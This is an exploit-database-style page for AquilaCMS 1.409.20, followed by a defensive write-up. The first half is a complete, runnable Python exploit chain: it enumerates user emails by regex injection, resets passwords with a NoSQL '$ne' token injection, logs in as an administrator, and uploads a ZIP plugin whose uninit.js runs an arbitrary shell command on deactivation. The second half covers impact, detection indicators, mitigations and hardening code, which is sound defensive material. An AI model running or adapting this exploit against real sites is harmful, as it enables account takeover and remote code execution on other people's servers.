AquilaCMS 1.409.20 - Remote Command Execution (RCE)

Exploit Author: Eui Chul Chung Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-10
# Exploit Title: AquilaCMS 1.409.20 - Remote Command Execution (RCE)
# Date: 2024-10-25
# Exploit Author: Eui Chul Chung
# Vendor Homepage: https://www.aquila-cms.com/
# Software Link: https://github.com/AquilaCMS/AquilaCMS
# Version: v1.409.20
# CVE: CVE-2024-48572, CVE-2024-48573


import io
import json
import uuid
import string
import zipfile
import argparse
import requests
import textwrap


def unescape_special_characters(email):
    return (
        email.replace("[$]", "$")
        .replace("[*]", "*")
        .replace("[+]", "+")
        .replace("[-]", "-")
        .replace("[.]", ".")
        .replace("[?]", "?")
        .replace(r"[\^]", "^")
        .replace("[|]", "|")
    )


def get_user_emails():
    valid_characters = list(
        string.ascii_lowercase + string.digits + "!#%&'/=@_`{}~"
    ) + ["[$]", "[*]", "[+]", "[-]", "[.]", "[?]", r"[\^]", "[|]"]

    emails_found = []

    next_emails = ["^"]
    while next_emails:
        prev_emails = next_emails
        next_emails = []

        for email in prev_emails:
            found = False
            for ch in valid_characters:
                data = {"email": f"{email + ch}.*"}
                res = requests.put(f"{args.url}/api/v2/user", json=data)

                if json.loads(res.text)["code"] == "UserAlreadyExist":
                    next_emails.append(email + ch)
                    found = True

            if not found:
                emails_found.append(email[1:])
                print(f"[+] {unescape_special_characters(email[1:])}")

    return emails_found


def reset_password(email):
    data = {"email": email}
    requests.post(f"{args.url}/api/v2/user/resetpassword", json=data)

    data = {"token": {"$ne": None}, "password": args.password}
    requests.post(f"{args.url}/api/v2/user/resetpassword", json=data)

    print(f"[+] {unescape_special_characters(email)} : {args.password}")


def get_admin_auth_token(emails):
    for email in emails:
        data = {"username": email, "password": args.password}
        res = requests.post(f"{args.url}/api/v2/auth/login/admin", json=data)

        if res.status_code == 200:
            print(f"[+] Administrator account : {unescape_special_characters(email)}")
            return json.loads(res.text)["data"]

    return None


def create_plugin(plugin_name):
    payload = textwrap.dedent(
        f"""
    const {{ exec }} = require("child_process");

    /**
     * This function is called when the plugin is desactivated or when we delete it
     */    module.exports = async function (resolve, reject) {{
      try {{
        exec("{args.command}");
        return resolve();
      }} catch (error) {{}}
    }};
    """
    ).strip()

    plugin = io.BytesIO()
    with zipfile.ZipFile(plugin, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
        zip_file.writestr(
            f"{plugin_name}/package.json",
            io.BytesIO(f'{{ "name": "{plugin_name}" }}'.encode()).getvalue(),
        )
        zip_file.writestr(
            f"{plugin_name}/info.json", io.BytesIO(b'{ "info": {} }').getvalue()
        )
        zip_file.writestr(
            f"{plugin_name}/uninit.js", io.BytesIO(payload.encode()).getvalue()
        )

    plugin.seek(0)
    return plugin


def rce(emails):
    auth_token = get_admin_auth_token(emails)
    if auth_token is None:
        print("[-] Administrator account not found")
        return

    print("[+] Create malicious plugin")
    plugin_name = uuid.uuid4().hex
    plugin = create_plugin(plugin_name)

    print("[+] Upload plugin")
    headers = {"Authorization": auth_token}
    files = {"file": (f"{plugin_name}.zip", plugin, "application/zip")}
    requests.post(f"{args.url}/api/v2/modules/upload", headers=headers, files=files)

    print("[+] Find uploaded plugin")
    headers = {"Authorization": auth_token}
    data = {"PostBody": {"limit": 0}}
    res = requests.post(f"{args.url}/api/v2/modules", headers=headers, json=data)

    plugin_id = None
    for data in json.loads(res.text)["datas"]:
        if data["name"] == plugin_name:
            plugin_id = data["_id"]
            print(f"[+] Plugin ID : {plugin_id}")
            break

    if plugin_id is None:
        print("[-] Plugin not found")
        return

    print("[+] Deactivate plugin")
    headers = {"Authorization": auth_token}
    data = {"idModule": plugin_id, "active": False}
    res = requests.post(f"{args.url}/api/v2/modules/toggle", headers=headers, json=data)

    if res.status_code == 200:
        print("[+] Command execution succeeded")
    else:
        print("[-] Command execution failed")


def main():
    print("[*] Retrieve email addresses")
    emails = get_user_emails()

    print("\n[*] Reset password")
    for email in emails:
        reset_password(email)

    print("\n[*] Perform remote code execution")
    rce(emails)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-u",
        dest="url",
        help="Site URL (e.g. www.aquila-cms.com)",
        type=str,
        required=True,
    )
    parser.add_argument(
        "-p",
        dest="password",
        help="Password to use for password reset (e.g. HaXX0r3d!)",
        type=str,
        default="HaXX0r3d!",
    )
    parser.add_argument(
        "-c",
        dest="command",
        help="Command to execute (e.g. touch /tmp/pwned)",
        type=str,
        default="touch /tmp/pwned",
    )
    args = parser.parse_args()

    main()


AquilaCMS 1.409.20 — Remote Command Execution (RCE): Analysis, Impact, and Mitigation

Summary: In October 2024, two related vulnerabilities affecting AquilaCMS (documented as CVE-2024-48572 and CVE-2024-48573) were published. The issues describe an attack chain that can lead to remote command execution on vulnerable instances by abusing account management and module/plugin handling functionality. These vulnerabilities enable attackers to gain administrative control and cause arbitrary code execution via uploaded modules that are not properly validated or sandboxed.

Quick facts

  • Vendor: AquilaCMS (open-source)
  • Affected version: v1.409.20 (and specific builds derived from it)
  • CVE IDs: CVE-2024-48572, CVE-2024-48573
  • Risk: High — unauthenticated/weakly authenticated flows can lead to admin takeover and code execution
  • Remediation: Apply vendor patches/updates, harden configuration, restrict endpoints and plugin handling

High-level vulnerability description

The vulnerabilities combine weaknesses across user account handling and plugin/module management. An attacker can enumerate or otherwise discover user identifiers, abuse password reset or authentication flows, and then upload a malicious module package that the application accepts and later executes (for example during plugin deactivation or lifecycle hooks). The root causes include:

  • Insufficient protection of user enumeration and password-reset endpoints (allows account takeover using a crafted reset flow).
  • Inadequate validation of uploaded module packages (insufficient manifest checks, lack of signature/code signing, or unpacking/execution in an unsandboxed context).
  • Execution of lifecycle scripts from uploaded plugins with elevated privileges on the host.

Impact

  • Full remote command execution on the host process with the privileges of the service user.
  • Complete site compromise, potential lateral movement to other services depending on environment configuration.
  • Data exfiltration, persistent backdoors via uploaded modules, or ransomware deployment.

Responsible response and disclosure

  • If you operate AquilaCMS instances, treat this as a critical incident: isolate affected hosts, apply patches, and rotate secrets.
  • Follow vendor advisories and upgrade to a non-vulnerable release; if a patch is not yet available, consider disabling plugin uploads and restricting the administrative API to trusted networks.
  • Do not test exploits on third-party or production systems without explicit authorization — unauthorized testing is illegal in many jurisdictions.

Detecting exploitation attempts

Look for anomalous activity patterns associated with the attack chain rather than only the final payload. Useful detection indicators include:

  • Repeated or unusual POST/PUT requests to account/user endpoints that return predictable responses indicating enumeration.
  • Multiple password-reset requests originating from the same IP or targeting many users in short time windows.
  • Upload of ZIP/module files where the archive contains unexpected lifecycle scripts (for example, uninit.js, init.js, or other executable JS files inside the package root).
  • API calls to module-management endpoints followed by plugin state changes (activate/deactivate) around the time of suspicious file uploads.
  • Unusual process creation events or execution of interpreters (node, bash) by the application process user; unexpected writes to /tmp or webroot.

Suggested detection rules (examples)

  • Web server logs: flag ZIP uploads with executable script files listed in multipart uploads.
  • SIEM rule: alert on password-reset POSTs followed by admin-authentication attempts from same IP.
  • Host EDR: alert on child processes spawned by the web server process that call command interpreters or touch indicator files.

Mitigation and remediation (immediate actions)

  • Apply the vendor's official patch or upgrade to the first fixed release as soon as it is available.
  • Temporarily disable plugin/module upload and automatic plugin lifecycle operations until patched.
  • Restrict access to administrative APIs to trusted IPs via firewall rules or WAF controls.
  • Force password resets for administrative accounts and rotate any API keys or secrets that may have been exposed.
  • Scan for artifacts of malicious plugins (unexpected ZIPs, files created at suspicious times, new modules in the modules directory) and investigate log entries around those events.

Secure development and hardening recommendations

Fixes should address both the immediate symptoms and root causes. Key secure design controls include:

  • Hardening account-management APIs: prevent user enumeration, rate-limit reset requests, require proof-of-possession for reset tokens, and log/alert unusual reset activity.
  • Module/plugin signing: require cryptographic signatures for uploaded modules; verify signatures against trusted keys before install or execution.
  • Strict package validation: inspect uploaded archives for allowed files only, enforce manifest shape and required fields, and reject archives containing executable scripts in paths that will be run by the host.
  • Sandbox plugin execution: run third-party code in restricted sandboxes (process isolation, seccomp, chroot, containers, language-level sandbox like Node.js vm2 with strict policies) and explicit capability dropping.
  • Principle of least privilege: run the application with minimal filesystem and OS privileges so that successful exploitation has limited impact.

Developer-focused countermeasures (example code patterns)

Below are defensive code patterns to validate plugin uploads and avoid executing arbitrary code. These are illustrative and should be adapted to your application stack and threat model.

// Example: validate uploaded ZIP contains only allowed files and a manifest
// (Node.js-like pseudo-code, non-exploitable illustrative snippet)
const allowedFiles = new Set(['package.json', 'info.json', 'README.md']);
function validatePluginZip(zipBuffer) {
  const zip = openZip(zipBuffer); // abstracted
  let hasManifest = false;
  for (const entry of zip.listEntries()) {
    // normalize path and reject absolute or traversal paths
    const name = normalizePath(entry.name);
    if (name.startsWith('..') || path.isAbsolute(name)) {
      throw new Error('Invalid path in archive');
    }
    // allow only files in a single top-level directory or flat structure
    const parts = name.split('/');
    if (parts.length > 2) throw new Error('Too deep path in plugin archive');
    const filename = parts[parts.length - 1];
    if (!allowedFiles.has(filename)) {
      throw new Error('Disallowed file in plugin archive');
    }
    if (filename === 'package.json') hasManifest = true;
  }
  if (!hasManifest) throw new Error('Missing manifest');
  return true;
}

Explanation: This snippet demonstrates a minimal whitelist-based verification of an uploaded ZIP. It normalizes paths to prevent traversal, restricts how deep files may be nested, and enforces a small allowlist of filenames. In production, extend validation to check manifest contents, fields, and expected JSON schema.


// Example: safe child process invocation (non-executable illustrative)
const { spawn } = require('child_process');
// Avoid exec() with shell interpolation; use spawn/execFile and pass arguments safely
function runTool(pathToBinary, argsArray) {
  const proc = spawn(pathToBinary, argsArray, {
    stdio: 'ignore',
    detached: false,
    windowsHide: true
  });
  proc.on('error', (err) => {
    // log and handle
  });
  // Do not run as root; ensure process user has limited privileges
}

Explanation: Using spawn/execFile with explicit argument arrays avoids shell parsing and reduces the risk of command injection. Also ensure the runtime user has minimal privileges and that any spawned processes are constrained (resource limits, sandboxing where possible).


// Example: require plugin packages to be signed
// Pseudo: verify signature before accepting a plugin
function verifySignedPackage(zipBuffer, signature, publicKey) {
  const verified = crypto.verify('sha256', zipBuffer, publicKey, signature);
  if (!verified) throw new Error('Invalid package signature');
  return true;
}

Explanation: Requiring packages to be cryptographically signed ensures only trusted plugins are accepted. Signatures should be validated against a trusted key store and revoked keys must be handled via a revocation mechanism.

Post-incident checklist

  • Contain: isolate affected hosts, block known malicious IPs, and suspend plugin upload endpoints.
  • Eradicate: remove malicious modules, ensure no scheduled jobs or persistence mechanisms remain.
  • Recover: rebuild compromised hosts from known-good images, rotate credentials, and apply patches.
  • Learn: perform a post-mortem, add improved logging and detection, and publish lessons internally.

References and further reading

  • Vendor/GitHub: check the official AquilaCMS repository and release notes for security advisories and patches.
  • OWASP guidelines: secure file upload and server-side validation patterns.
  • General best practice: use code signing, sandboxing, and the principle of least privilege when designing plugin/module ecosystems.

If you operate AquilaCMS in production, prioritize patching and restrict administrative APIs while you implement or verify mitigations. For development teams, incorporate the defensive patterns above into CI/CD pipelines, artifact signing, and runtime hardening.